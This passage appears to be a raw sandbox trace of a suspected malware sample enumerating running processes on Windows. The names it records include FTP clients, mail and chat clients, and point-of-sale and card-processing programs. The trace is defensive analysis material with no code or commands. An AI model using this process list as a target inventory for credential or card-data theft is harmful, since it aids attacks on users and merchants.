th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0255.187] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0255.189] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0255.191] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0255.193] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0255.195] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0255.197] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0255.199] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0255.201] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0255.204] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0255.207] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0255.208] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0255.210] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0255.212] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0255.215] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0255.218] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0255.220] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0255.221] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0255.224] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0255.226] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0255.229] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0255.231] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0255.233] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0255.236] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0255.238] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0255.242] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0255.244] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0255.246] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0255.249] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0255.286] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0255.289] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0255.294] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0255.296] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0255.299] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0255.302] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0255.304] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0255.306] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0255.309] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0255.313] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0255.316] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0255.322] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0255.326] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0255.329] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0255.369] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0255.373] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0255.376] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0255.380] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0255.383] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0255.386] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0255.389] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0255.391] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0255.394] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0255.396] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0255.399] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0255.402] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0255.404] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0255.406] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0255.408] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0255.410] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0255.413] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0255.414] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0255.416] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0255.418] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0255.421] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0255.423] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0255.425] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0255.426] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0255.428] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0255.430] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0255.432] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0255.434] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0255.436] CloseHandle (hObject=0x2200) returned 1 [0255.436] Sleep (dwMilliseconds=0x64) [0255.455] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0255.468] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.470] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0255.472] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0255.474] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.477] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0255.479] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.480] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0255.482] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0255.483] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0255.485] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.503] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.504] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0255.506] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, 